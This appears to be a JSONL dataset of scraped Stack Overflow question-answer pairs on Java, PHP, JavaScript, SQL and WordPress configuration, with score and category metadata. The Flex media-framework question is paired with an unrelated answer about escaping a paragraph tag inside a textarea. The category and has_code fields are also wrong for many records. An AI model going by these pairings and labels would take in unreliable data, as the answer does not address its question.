{"id": "hf_3e68555d88ce", "question": "<p>which library better for faster java application swt or swing?</p>\n", "question_body": "", "answer": "According to wikipedia there is no clear winner (although you can edit that if you want). Inevitably, you can write benchmarks which will show either much faster that the other. Swing has more freedom to optimise on the Java side of things. SWT can allow more optimisations to occur within the windowing system.\nProbably the bigger impact on performance is going to come from how your application behaves. Concentrate on getting your code clean (and do a little profiling when necessary).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:33.502292"}
{"id": "hf_9beccf78b805", "question": "<p>I'd like to generate unique random numbers between 0 and 1000 that never repeat (i.e. 6 doesn't show up twice), but that doesn't resort to something like an O(N) search of previous values to do it. Is this possible?</p>\n", "question_body": "", "answer": "You can do this:\nCreate a list, 0..1000.\nShuffle the list. (See\nFisher-Yates shuffle\nfor a good way to do this.)\nReturn numbers in order from the shuffled list.\nSo this doesn't require a search of old values each time, but it still requires O(N) for the initial shuffle. But as Nils pointed out in comments, this is amortised O(1).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:33.528429"}
{"id": "hf_888c4f67139e", "question": "<p>I need to create a 'slider' for a client's site. The slider should allow people to select how many items they want of x item, and show what the price will be based on that. The weird(ish) part is that the ratio of the price increase will go down as the amount of items goes up:</p>\n\n<ul>\n<li>1 item: $100</li>\n<li>2 items: +90 = $190</li>\n<li>3 items: + 80 = $270</li>\n<li>4 items: + 70 = $340</li>\n<li>5 items: + 60 = $400</li>\n<li>6 items: + 50 = $450</li>\n<li>7 items: + 50 = $500</li>\n</ul>\n\n<p>And all increases from then on are +50. This probably seems like an overly simplistic question, but does anyone know how I could go about doing this? I have almost no experience with JavaScript :( </p>\n", "question_body": "", "answer": "Check out Yahoo! UI. they have a slider widget:\nhttp://developer.yahoo.com/yui/slider/\nThe following example should get you started:\nhttp://developer.yahoo.com/yui/examples/slider/slider-ticks.html\n.\nAll JavaScript frameworks (\njQuery\n,\nMooTools\n) seem to offer a slider. The YUI will give you a lot of control and a loader so you don't have to host the script on your server. Beware that YUI does not make implementation as painless as with the two other i mentioned.\nHere is a MooTools example:\n```\n```\n// First example of http://demos.mootools.net/Slider\n\n<div class=\"slider\" id=\"myslider\">\n      <div class=\"knob\" style=\"position: relative;\"/>\n    </div>\n```\n```\nAnd the JavaScript:\n```\n```\nvar el = $('myslider'); // The slider graphic\nnew Slider(el, el.getElement('.knob'), {\n    steps: 7,   // There are 7 choices\n    range: [1, 7],  // Minimum value is 1, maximum is 7\n    onChange: function(value){\n        // Calculation of the value goes here\n    }\n});\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:33.551620"}
{"id": "hf_3b192f68f7c8", "question": "<p>I have a PHP script that initialises an image gallery. It loops through all images, checks if they are thumbnailed and watermarks them.</p>\n\n<p>My shared hosting account only lets me have 30 seconds of execution per script, as set in the php.ini settings. I can't change that.</p>\n\n<p>What can I do to get round this? Currently I refresh the page after every 5 images, this prevents the script timing out, but the browser recognises that the script won't complete and gives an error. That's ok, but it's not really user friendly.</p>\n\n<p>Any suggestions?</p>\n", "question_body": "", "answer": "three ideas:\nyou could offload this to a script that runs on the server (PHP CLI perhaps?) and have your current script check the progress (still running! check back later!).\nif javascript is ok in your environment, perhaps you could make ajax calls to handle this as well. the first solution allows the user to keep wandering around the site though, not sure if that's an important consideration in your case.\nyou could get the PHP script to just do a certain batch (say 10 images at a time), then refresh the page with a progress report and go for 10 more, instead of an arbitrary time based refresh.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:33.586906"}
{"id": "hf_fe01bdf5c36d", "question": "<p>How can I access a public static member of a Java class from ColdFusion?</p>\n", "question_body": "", "answer": "You run the createObject but don't call the \"init\" before running the static method. For example:\n```\n```\n<cfset systemObject = createObject(\"java\", \"java.lang.System\") />\n<cfoutput>#systemObject.currentTimeMillis()#</cfoutput>\n```\n```\nIn this case \"currentTimeMillis()\" is a static method of the System class.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:33.624930"}
{"id": "hf_ed1e88b93d49", "question": "<p>I listen to the podcast java posse,  on this there is often discussion about components (note components are not (clearly) objects).  They lament the fact that Java does not have components, and contrast with .NET that does.  Components apparently makes developing applications (not just GUI apps) easier.</p>\n\n<p>I can figure from the discussion certain qualities that a component has,  its something to-do with decoupling (substituting one component for another is just a matter of plumbing).  It has something to-do with properties, it definitely has something to-do with events and delegates.   </p>\n\n<p>So to the questions:</p>\n\n<p>./ can anyone explain to me what a component is. (and why java beans are not components).</p>\n\n<p>./ can anyone explain how they help development.</p>\n\n<p>./ can anyone explain why java does not have them if they are so useful.</p>\n", "question_body": "", "answer": "Software Engineering Radio has an episode on exactly this topic:\nhttp://se-radio.net/podcast/2008-02/episode-87-software-components\nThe general idea is that a software component can describe what its own dependencies and services are, in the form of metadata. I don't know why you might have heard that Java does not have components, since you can certainly imagine an architecture in Java where components do describe themselves through metadata. I suppose it's just that the Java platform definition by itself doesn't really have a component architecture.\nUpdate: Indeed, one need not imagine such an architecture because as others pointed out, Java Beans or Servlets could certainly be considered component-based architectures.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:33.682914"}
{"id": "hf_9c31ee847938", "question": "<p>I know I can get the public static members of a class by doing something like:</p>\n\n<p><code>obj.getClass().getFields()</code></p>\n\n<p>but this doesn't get me the enums.  I'd like to be able to get them from the Class object returned by the getClass method.  Any ideas?</p>\n", "question_body": "", "answer": "(Turned into a community wiki as it looks like there's scope for a fair amount of expansion, e.g. to include tackline's comments. No sense in me just transcribing comments when everyone could be expanding it.)\nDo you mean enums nested within a top-level class? If so, use\n```\nClass.getDeclaredClasses()\n```\nand iterate through the results seeing if any of the nested classes are enums. The simplest way of testing each nested class is to use\n```\nClass.isEnum()\n```\n; if you want to iterate through the values within the enum then\n```\nClass.getEnumConstants()\n```\nis the way to go.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:33.728501"}
{"id": "hf_ea659df48e59", "question": "<p>On a site of mine in which a textarea is used for submission, I have code that can appear something along the lines of the following:</p>\n\n<pre><code>&lt;textarea&gt;&lt;p&gt;text&lt;/p&gt;&lt;/textarea&gt;\n</code></pre>\n\n<p>When validating (XHTML 1.0 Transitional), this error arises,</p>\n\n<pre><code>line 88 column 50 - Error: document type does not allow element \"p\" here\n</code></pre>\n\n<p>If this is not a valid method, then what is expected?  I could do a workaround with an onload JavaScript event, but that seems needless.  Regardless this doesn't affect the output, but I'd rather my site validate.</p>\n", "question_body": "", "answer": "is there a reason you're trying to put a\n```\n<p>\n```\nwithin\n```\n<textarea>\n```\n? as you found out it's not valid. if it's for display purposes (ie, showing code) it should be translated:\n```\n```\n<textarea>&lt;p&gt;text&lt;/p&gt;</textarea>\n```\n```\nbeyond validation issues, allowing arbitrary tags (which are not properly encoded as above) to display can be a huge security issue. it's paramount to make sure any user supplied input has been properly sanitized before it is displayed.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:33.752512"}
{"id": "hf_b29dfd351e45", "question": "<p>Does anybody know of a good media framework for Flex?<br/>\nI'd like to be able to create apps that can play not only those formats that the Flex framework provides support for, but other formats as well (like wav, wma, ogg and other...).</p>\n\n<p><strong>EDIT 13.10.2008.:</strong> It was recently pointed out to me in the answers section that I should perhaps rephrase the question, so here goes: What I'm really looking for is a way to play various media formats in a Flex/Air app. Onekidney posted a nice answer about Ogg/Vorbis. Does anybody know of a way to play other media formats? Never mind about the portability to different platforms now. Portability would be nice, but if I can't get it, I can live without it :-).<br/>\nThanks for the answers!</p>\n", "question_body": "", "answer": "is there a reason you're trying to put a\n```\n<p>\n```\nwithin\n```\n<textarea>\n```\n? as you found out it's not valid. if it's for display purposes (ie, showing code) it should be translated:\n```\n```\n<textarea>&lt;p&gt;text&lt;/p&gt;</textarea>\n```\n```\nbeyond validation issues, allowing arbitrary tags (which are not properly encoded as above) to display can be a huge security issue. it's paramount to make sure any user supplied input has been properly sanitized before it is displayed.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:33.776626"}
{"id": "hf_1a028d71c5f0", "question": "<p>I chmod'ed the directory to 777, same with the directory contents. Still, I get a \"permission denied\" error. Does PHP throw this error if apache is not the group/owner, regardless of the file permissions? Here's the call that's failing:</p>\n\n<pre><code>rename('/correct/path/to/dir/1', '/correct/path/to/dir/2');\n</code></pre>\n", "question_body": "", "answer": "Try running the following script:\n```\n```\nprint_r(posix_getpwuid(getmyuid()));\nprint_r(pathinfo($YOUR_PATH));\n```\n```\nAnd see what that returns.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:33.800722"}
{"id": "hf_0c74f92a5aeb", "question": "<p>I just forgot the password. Can anyone help me how to get back the password.</p>\n", "question_body": "", "answer": "There is no way to get the old password back. Log into the SQL server management console as a machine or domain admin using integrated authentication, you can then change any password (including sa).\nStart the SQL service again and use the new created login (recovery in my example)\nGo via the security panel to the properties and change the password of the SA account.\nNow write down the new SA password.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:33.837289"}
{"id": "hf_8844e7966e7d", "question": "<p>Is it possible to use a CHECK constraint to prevent any date that falls on a Sunday?  I don't want to use a trigger.</p>\n", "question_body": "", "answer": "Not sure about the actual constraint, but you can use the function:\n```\n```\nTO_CHAR(sysdate, 'D');\n```\n```\nto get the day of the week as an integer, then do a small check on it", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:33.873034"}
{"id": "hf_413eaa580bca", "question": "<p>Is it possible to assign a custom ID to a HTTP session through Servlet API?</p>\n\n<p>I know that session handling from any application server, Tomcat for example, it's enough good to generate unique IDs. But I have custom unique session IDs based on information per user and time, so it won't be repeated.</p>\n\n<p>And I looked at every documentation about session handling but nowhere I find what I need.</p>\n\n<p>It's a requirement for a project, so if it's not possible, I need to know the reasons (or it's only not available through API?).</p>\n", "question_body": "", "answer": "Um...if you have the code to generate a unique ID, you can just do this:\n```\n```\n/** \n * The String key of the user id attribute.\n */\npublic static final String USER_ID_KEY = \"userIdKey\";\n\n// Set the user attribute (createUniqueUserId's parameters and return type are up to you)\nhttpSession.setAttribute(USER_ID_KEY, createUniqueUserId());\n\n// Retrieve the user attribute later\nhttpSession.getAttribute(USER_ID_KEY);\n```\n```\nThe HttpSession interface also provides a getId() method, which is documented\nhere\n(copying the documentation for reference):\npublic java.lang.String getId()\nReturns a string containing the unique\nidentifier assigned to this session.\nThe identifier is assigned by the\nservlet container and is\nimplementation dependent.\nReturns: a\nstring specifying the identifier\nassigned to this session", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:33.969505"}
{"id": "hf_4a0c9bb92bf5", "question": "<p>I have a component which writes/generates javascript from a server side renderer. This component can be used in multiple times in a same page. However, once the page is loaded I have to collect all the variables or JSO written by this multiple components in the page. How can I do this so that I will have a collection of all the variables or JSO? \nFor e.g. If this component (lets say   ) is used twice in the page then it emits two javascript block on client/browser - \n     var arr1 = new Array['First', 'Second'] and\n     var arr2 = new Array['Third', 'Fourth']. </p>\n\n<p>In order to make a final rendering I have to combine these two arrays.</p>\n", "question_body": "", "answer": "You will need to be a little more specific about your problem, maybe with an example page but here are some thoughts.\nIf you have a server-side component that writes JavaScript during page generation, I would generate a function call each time, something like:\n```\n```\nComponent_appendArray(['First', 'Second']);\n...\nComponent_appendArray(['Third', 'Fourth']);\n```\n```\nthen ensure that you have your function\n```\nComponent_appendArray()\n```\ndefined before these calls:\n```\n```\nvar globalArray = [];\nfunction Component_appendArray(array)\n{\n     globalArray = globalArray.concat(array);\n}\n```\n```\nAt the end,\n```\nglobalArray\n```\nshould contain:\n```\n```\n['First', 'Second', 'Third', 'Fourth']\n```\n```\nHope this helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:33.997343"}
{"id": "hf_29202969783a", "question": "<p>I'm trying to learn about catamorphisms and I've read <a href=\"http://en.wikipedia.org/wiki/Catamorphism\" rel=\"noreferrer\">the Wikipedia article</a> and the first couple posts in <a href=\"http://lorgonblog.spaces.live.com/Blog/cns!701679AD17B6D310!256.entry\" rel=\"noreferrer\">the series of the topic for F#</a> on the <em>Inside F#</em> blog. </p>\n\n<p>I understand that it's a generalization of folds (i.e., mapping a structure of many values to one value, including a list of values to another list). And I gather that the fold-list and fold-tree is a canonical example.</p>\n\n<p>Can this be shown to be done in C#, using LINQ's <code>Aggregate</code> operator or some other higher-order method?</p>\n", "question_body": "", "answer": "I've been doing more reading, including a Micorosft Research paper on\nfunctional programming with catamorphisms (\"bananas\")\n, and it seems that\ncatamorphism\njust refers to any function that takes a list and typically breaks it down to a single value (\n```\nIEnumerable<A> => B\n```\n), like\n```\nMax()\n```\n,\n```\nMin()\n```\n, and in the general case,\n```\nAggregate()\n```\n, would all be a catamorphisms for lists.\nI was previously under the impression that it refefred to a way of creating a function that can generalize different folds, so that it can fold a tree\nand\na list. There may actually still be such a thing, some kind of\nfunctor\nor\narrow\nmaybe but right now that's beyond my level of understanding.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:34.073012"}
{"id": "hf_37e3d6a1bd87", "question": "<p>I'm working on a project in C and it requires memalign(). Really, posix_memalign() would do as well, but darwin/OSX lacks both of them.</p>\n\n<p>What is a good solution to shoehorn-in memalign?  I don't understand the licensing for posix-C code if I were to rip off memalign.c and put it in my project- I don't want any viral-type licensing LGPL-ing my whole project.</p>\n", "question_body": "", "answer": "Mac OS X appears to be\n16-byte mem aligned.\nQuote from the website:\nI had a hard time finding a definitive\n  statement on MacOS X memory alignment\n  so I did my own tests. On 10.4/intel,\n  both stack and heap memory is 16 byte\n  aligned. So people porting software\n  can stop looking for memalign() and\n  posix_memalign(). It’s not needed.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:34.120444"}
{"id": "hf_d128a6588218", "question": "<p>If the amount of data stored within a given field of a database is unknown, and could be very large, should I store it in an external file rather than within a field in the database?</p>\n", "question_body": "", "answer": "That's why BLOB or Memo field types were designed.  They are very good at storing variable length / large objects.\nThat being said, I would still store certain large objects using the file system instead of using a database.  If the objects were very large (multi-MB each) I would consider just placing them on the file system and storing a pointer (filename) in the database.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:34.144184"}
{"id": "hf_8530f0f547da", "question": "<p>I see that the SML/NJ includes a queue structure. I can't figure out how to use it. How do I use the additional libraries provided by SML/NJ?</p>\n", "question_body": "", "answer": "I don't have a complete answer for you but I could point you in the right direction. You should look up using the compilation manager (CM) which is built in to SML/NJ. You can think of it as Make for SML.\nTo use a library from the SML/NJ library you then add smlnj-lib.cm to the CM description file of your application. Then you can use the declarations such as Queue from that library.\nThe smlnj website has some documentation about the\ncompilation manager\n.\nHope this at least points you in the right direction.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:34.191566"}
{"id": "hf_4feb9638dc2c", "question": "<p>I know of many utilities that can tell me the bitrate of an MP3 file, but I've never seen one that can tell me whether or not the MP3 file is VBR (variable bit rate - the bit rate fluctuates within the file) or a CBR (constant bit rate - the bit rate stays the same within the file). My guess is that most programs aren't interested in finding this out since it involves analyzing the file somewhat to see if the bitrate changes, which takes away from speed.</p>\n\n<p>So, in lieu of finding a utility, I'd like to write one - so how could I programmatically determine whether or not an MP3 file is VBR or CBR? I have about 15,000 files to go through to find this out for, so I need to automate the process.</p>\n", "question_body": "", "answer": "Check this\nMP3Header Class\n, it has a method that tells you if the mp3 file is VBR, and all the mp3 header information...\n```\n```\n...\nboolVBitRate = LoadVBRHeader(bytVBitRate);\n...\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:34.249067"}
{"id": "hf_d3934f357c12", "question": "<p>In c#, I have a handle to a window ( an IntPtr ), I want to change the background color of that window.  How can I do this?</p>\n\n<p>I can get the GDI graphics object for that handle like so:</p>\n\n<p>Graphics graphics = Graphics.FromHwnd(theHandle);</p>\n\n<p>So I should somehow be able to change the background color from this?</p>\n\n<p>I also want to ensure the background color remains even after the window moves,resizes,repaints etc.</p>\n", "question_body": "", "answer": "Create a control class with the Control.FromHandle method and then set the property.\nSomething like...\n```\nControl someControl = Control.FromHandle(myHandle);\n    someControl.BackColor = SystemColors.Black;\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:34.285576"}
{"id": "hf_722115a6493a", "question": "<p>Should I be using this method of throwing errors:</p>\n\n<pre><code>if (isset($this-&gt;dbfields[$var])) {\n    return $this-&gt;dbfields[$var];\n} else {\n    throw new FieldNotFoundException($var);\n}\n</code></pre>\n\n<p>or this style:</p>\n\n<pre><code>try {\n    return $this-&gt;dbfields[$var];\n} catch (Exception $e) {\n    throw new FieldNotFoundException($var);\n}\n</code></pre>\n\n<p>...or something else altogether?</p>\n\n<p><em>quick explanation of the code:</em> <code>$this-&gt;dbfields</code> is an array. <code>isset()</code> checks if a variable is set, in this case, whether the array element exists.</p>\n", "question_body": "", "answer": "The second example is bad.  You're taking a lot of overhead to catch an exception when, as you demonstrate, it's just as easy to prevent the exception in the first place.  Plus you also assume you know why that exception was thrown - if there was some other exception, like say an out of memory or something, you're reporting it as a \"field not found\" even if it wasn't.\nKeep in mind that\n```\ntry\n```\n/\n```\ncatch\n```\nin languages like C++ and Java are very expensive because of all the state they have to save and restore. Python, on the other hand, has very cheap exceptions and they positively encourage you to use a\n```\ntry\n```\n/\n```\nexcept\n```\nfor simple validation. But even so, catching everything and pretending it's one type of exception is still bad.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:34.310262"}
{"id": "hf_ad87282fff01", "question": "<p>The <a href=\"http://en.wikipedia.org/wiki/Effect_system\" rel=\"noreferrer\">Wikipedia article on <em>Effect system</em></a> is currently just a short stub and I've been wondering for a while as to what is an effect system. </p>\n\n<ul>\n<li>Are there any languages that have an effect system in addition to a type system?  </li>\n<li>What would a possible (hypothetical) notation in a <strong>mainstream</strong> language, that you're familiar, with look like with effects? </li>\n</ul>\n", "question_body": "", "answer": "(This is not an authoritative answer; just trying to trawl my memory.)\nIn a sense, any time you code a 'state monad' in a language, you're using the type system as a potential effect system.  So \"State\" or \"IO\" in Haskell capture this notion (IO captures a whole lot of other effects as well).  I vaguely remember reading papers about various languages that use advanced type systems including things like \"dependent types\" to control finer-grained management of effects, so that for instance the type/effect system could capture information about which memory locations would be modified in a given data type.  This is useful, as it provides ways to make two functions that modify mutually exclusive bits of state be allowed to \"commute\" (monads don't typically commute, and different monads don't always compose well with one another, which often makes it hard to type (read: assign a static type to) 'reasonable' programs)...\nAn analogy at a\nvery\nhand-wavy level is how Java has checked exceptions.  You express extra information in the type system about certain effects (you can think of an exception as an 'effect' for the purpose of the analogy), but these 'effects' typically leak out all over your program and don't compose well in practice (you end up with a million 'throws' clauses or else resort to lots of unchecked runtime exception types).\nI think a lot of research is being done in this area, both for research-y and mainstream-y languages, as the ability to annotate functions with effect information can unlock the compiler's ability to do a number of optimizations, can impact concurrency, and can do great things for various program analyses and tooling.  I don't personally have high hopes for it any time soon, though, as I think lots of smart people have been working on it for a long time and there's still very little to show for it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:34.334342"}
{"id": "hf_cde8f8f18943", "question": "<p>I have a table with two fields of interest for this particular exercise: a CHAR(3) ID and a DATETIME.  The ID identifies the submitter of the data - several thousand rows.  The DATETIME is not necessarily unique, either.  (The primary keys are other fields of the table.)</p>\n\n<p>Data for this table is submitted every six months.  In December, we receive July-December data from each submitter, and in June we receive July-June data.  My task is to write a script that identifies people who have only submitted half their data, or only submitted January-June data in June.</p>\n\n<p>...Does anyone have a solution?</p>\n", "question_body": "", "answer": "From your description, I wouldn't worry about the efficiency of the query since apparently it only needs to run twice a year!\nThere are a few ways to do this, which one is 'best' depends on the data that you have. The datediff (on max/min date values) you suggested should work, another option is to just count records for each submitted within each date range, e.g.\n```\n```\nselect * from (\n    select T.submitterId,\n        (select count(*) \n        from TABLE T1\n        where T1.datefield between [july] and [december]\n        and T1.submitterId = T.submitterId\n        group by T1.submitterId) as JDCount,\n        (select count(*)\n        from TABLE T2\n        where T2.datefield between [december] and [june]\n        and T2.submitterId = T.submitterId\n        group by T2.submitterId) as DJCount\n    from TABLE T) X\nwhere X.JDCount <= 0 OR X.DJCount <= 0\n```\n```\nCaveat: untested query off the top of my head; your mileage may vary.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:34.382766"}
{"id": "hf_8497a122f263", "question": "<p>From a jsp is thrown a NullPointerException for example using  <code>&lt;% null.toString(); %&gt;</code></p>\n\n<p>This exception is not handled by the HandlerExceptionResolver, but thrown to the web container(tomcat) and converted into a <code>code 500 error</code>.</p>\n\n<p>How can I configure spring to get that error in my HandlerExceptionResolver ?</p>\n\n<p>Details:</p>\n\n<ul>\n<li>Spring can be configured to handle exceptions thrown inside Controllers, but not exceptions thrown by view.</li>\n<li>Of course i can resolve the NullPointerException, but i want to design a solution that will gracefully resolve any possible problem on the web application in order to display a user friendly message to the user.</li>\n</ul>\n", "question_body": "", "answer": "I have not worked with this particular bit of the spring framework, but the docs say\n\"Interface to be implemented by objects than can resolve exceptions thrown during handler mapping or execution, in the typical case to error views. Implementors are typically registered as beans in the application context.\nError views are analogous to the error page JSPs, but can be used with any kind of exception including any checked exception, with potentially fine-granular mappings for specific handlers.\"\nso I'd imagine that given that NullPointer extends RuntimeException the framework isn't designed to catch it. Is there a reason the exception(s) can't be handled in the controller directly?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:34.419160"}
{"id": "hf_b40adca5a373", "question": "<p>I have a text file in the root of my web app <em><a href=\"http://localhost/foo.txt\" rel=\"noreferrer\">http://localhost/foo.txt</a></em> and I'd like to load it into a variable in javascript.. in groovy I would do this:</p>\n\n<pre><code>def fileContents = 'http://localhost/foo.txt'.toURL().text;\nprintln fileContents;\n</code></pre>\n\n<p>How can I get a similar result in javascript?</p>\n", "question_body": "", "answer": "XMLHttpRequest, i.e. AJAX, without the XML.\nThe precise manner you do this is dependent on what JavaScript framework you're using, but if we disregard interoperability issues, your code will look something like:\n```\n```\nvar client = new XMLHttpRequest();\nclient.open('GET', '/foo.txt');\nclient.onreadystatechange = function() {\n  alert(client.responseText);\n}\nclient.send();\n```\n```\nNormally speaking, though, XMLHttpRequest isn't available on all platforms, so some fudgery is done. Once again, your best bet is to use an AJAX framework like jQuery.\nOne extra consideration: this will only work as long as foo.txt is on the same domain. If it's on a different domain, same-origin security policies will prevent you from reading the result.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:34.442912"}
{"id": "hf_a8e9637a0114", "question": "<p>I have a WordPress installation with an <code>.htaccess</code> file that looks like this:</p>\n\n<pre><code># BEGIN WordPress\n&lt;IfModule mod_rewrite.c&gt;\nRewriteEngine On\nRewriteBase /\nRewriteCond %{REQUEST_FILENAME} !-f\nRewriteCond %{REQUEST_FILENAME} !-d\nRewriteRule . /index.php [L]\n&lt;/IfModule&gt;\n# END WordPress\n</code></pre>\n\n<p>I tried installing a fresh copy of WordPress into a subdirectory for a separate blog and am getting 404 errors within the root WordPress when I try to view it. I'm assuming this is because of the <code>.htaccess</code> file. </p>\n\n<p>How do I change it so that I can view the subfolder?</p>\n", "question_body": "", "answer": "Edit#2\n: ok i think i figured this out, but it's pretty messy.\nmodify your base wordpress install's .htaccess file to look like this:\n```\n```\n# BEGIN WordPress\n<IfModule mod_rewrite.c>\n  RewriteEngine On\n  RewriteBase /\n  RewriteCond %{REQUEST_URI} !^/blog2/.*\n  RewriteCond %{REQUEST_FILENAME} !-f\n  RewriteCond %{REQUEST_FILENAME} !-d\n  RewriteRule . /index.php [L]\n</IfModule>\n# END WordPress\n```\n```\nnow, load a new copy of wordpress into \"blog2/\", and copy your\n```\nwp-config.php\n```\nfile over to it. edit the \"/blog2/wp-config.php\" file and change the\n```\n$table_prefix\n```\nto something different than your first blog. (this will install both wordpresses into the same database).\nonce you've done that, you should be able to go to:\n```\n```\nhttp://yourdomain.com/blog2/\n```\n```\nand finish up the installation without issue. the initial problem was that the new copy of wordpress kept trying to use the first copy's\n```\nwp-config.php\n```\nfile. moving it over manually fixed that all up.\nbecause i'm insane, i tested this with two fresh copies, wrote a few test articles, and was able to navigate around without issue, so it should work :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:34.466953"}
